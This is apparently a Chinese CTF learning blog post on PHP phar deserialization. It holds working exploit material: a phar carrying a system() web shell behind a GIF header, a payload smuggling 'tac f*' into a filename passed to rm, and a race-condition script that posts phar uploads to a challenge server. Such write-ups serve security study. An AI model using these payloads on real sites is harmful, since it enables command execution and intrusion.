0x01 前言 之前在学习php反序列化的时候难免会遇到phar文件的反序列化来恶意载入马,但是始终难以理解这样的姿势,现在再去看,貌似也释然了,这个常用姿势,拿下(以后拿ezphp来骗我也不怕啦)
0x02 question 概念 PHAR 文件(PHP Archive)是一种用于将多个 PHP 文件和其他资源(如图片、配置文件等)打包成一个单一文件的归档格式,类似于 JAR 文件在 Java 中的功能。PHAR 文件通常用于分发 PHP 应用程序或库,因为它简化了部署,允许将整个项目封装在一个文件中,而不是多个独立文件。相当于是一个文件夹里面可存放多个php
文件 ,并且是不需要解压 的,只不过在web中需要用到phar
协议来进行解析
结构
a stub (文件头)
a manifest describing the contents (压缩文件信息)
the file contents (压缩文件内容)
[optional] a signature for verifying Phar integrity (phar file format only) (签名)
stub 也就是一个标志吧,格式为
1 xxx<?php xxx; __HALT_COMPILER ();?>
php
语句前面的内容不限,但是语句中必须要有__HALT_COMPILER()
,否则phar
扩展将无法识别这个文件为phar
文件
manifest phar文件本质上是一种压缩文件,其中每个被压缩文件的路径、大小、权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data
,这是上述攻击手法最核心的地方。
meta-data:这是 PHAR 文件的一个特殊功能,允许用户将任意数据存储为文件的元数据,并将其序列化后保存在 Manifest 中。
Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data
,PHP使用phar_parse_metadata
在解析meta数据时,会调用php_var_unserialize
进行反序列化操作。
contents 被压缩文件的内容,比如一句话?:D)
signature
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名
EXP
1 2 3 4 5 6 7 8 from hashlib import sha1with open ('test.phar' , 'rb' ) as file: f = file.read() s = f[:-28 ] h = f[-8 :] newf = s + sha1(s).digest() + h with open ('newtest.phar' , 'wb' ) as file: file.write(newf)
配置php.ini 或许你自己学习之后兴高采烈的开始了这里的舒坦的时候,诶发现,这怎么生成不了文件在当前目录呢,我们仅仅只是需要修改一个配置就可以了
打开php.ini
找到
1 2 3 [Phar] ; http://php.net/phar.readonly ;phar.readonly = On
;
意味着这一行其实是被注释了的,我们把;
删掉改成
1 2 3 [Phar] ; http://php.net/phar.readonly phar.readonly = Off
就可以生成phar文件了
受影响函数列表
受影响函数列表
fileatime
filectime
file_exists
file_get_contents
file_put_contents
file
filegroup
fopen
fileinode
filemtime
fileowner
fileperms
is_dir
is_executable
is_file
is_link
is_readable
is_writable
is_writeable
parse_ini_file
copy
unlink
stat
readfile
demo1 这里我们自己写一个最简单的来尝试一下,并且利用010看看底层数据信息
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Hello { public $name ='bao' ; } @unlink ("phar.phar" ); $phar =new Phar ("phar.phar" );$phar ->startBuffering (); $phar ->setStub ("GIF89a<?php __HALT_COMPILER();?>" );$o =new Hello ();$phar ->setMetadata ($o );$phar ->addFromString ("m.php" ,"<?=system('dir');?>" ); $phar ->stopBuffering (); ?>
嗯确实是序列化存储的,并且也都验证了之前所说的结构,同时来包含试试看
1 2 3 4 5 6 7 8 9 <?php include ('phar://phar.phar' );class Hello { public function __destruct ( ) { echo $this ->name; } } $phar = new Phar ('phar.phar' );?>
成功了GIF89abao
1 2 3 4 <?php include ('phar://phar.phar/m.php' );?>
这样的话也成功执行了命令,那么本身我们就有图片头我们能不能不写phar
来绕过呢
没错很简单,经过我的测试,由于有图片头,所以直接改文件后缀即可包含
1 2 3 4 <?php include ('phar://phar.jpg/m.php' );?>
demo2 ctfshow_web276 ,这道题我可是等了好久,终于能打了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php highlight_file (__FILE__ );class filter { public $filename ; public $filecontent ; public $evilfile =false ; public $admin = false ; public function __construct ($f ,$fn ) { $this ->filename=$f ; $this ->filecontent=$fn ; } public function checkevil ( ) { if (preg_match ('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match ('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct ( ) { if ($this ->evilfile && $this ->admin){ system ('rm ' .$this ->filename); } } } if (isset ($_GET ['fn' ])){ $content = file_get_contents ('php://input' ); $f = new filter ($_GET ['fn' ],$content ); if ($f ->checkevil ()===false ){ file_put_contents ($_GET ['fn' ], $content ); copy ($_GET ['fn' ],md5 (mt_rand ()).'.txt' ); unlink ($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; } where is flag?
有个unlink
而且没有unserialize
,还有写入文件,那么肯定是phar
文件的利用了
利用点这个有个system
,我们直接用;
,然后就可以执行命令了
不多说直接生成phar
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class filter { public $filename ='1;tac f*' ; public $filecontent ='' ; public $evilfile =true ; public $admin = true ; } @unlink ("phar.phar" ); $phar =new Phar ('phar.phar' );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER();?>" );$o =new filter ();$phar ->setMetadata ($o );$phar ->addFromString ('test.txt' ,'test' );$phar ->stopBuffering ();?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport threadingurl="http://dd9d543e-beb7-4628-b01b-7f0490c24cb9.challenge.ctf.show/" data=open ('./phar.phar' ,'rb' ).read() target=True def write (): requests.post(url=url+"?fn=phar.phar" ,data=data) def unserialize (): global target r=requests.get(url=url+"?fn=phar://phar.phar" ) if "ctfshow{" in r.text and target: print (r.text) target=False while target: threading.Thread(target=write).start() threading.Thread(target=unserialize).start()
当然也可以写木马,改一下脚本就可以了
demo3 [SUCTF 2019]Upload Labs 2
这里还要配合原生类soapclient
打开php.ini
,
这里写出来不要注释了,就是把前面分号删除
demo4 [RoarCTF 2019]PHPShe
demo5 [GXYCTF2019]BabysqliV3.0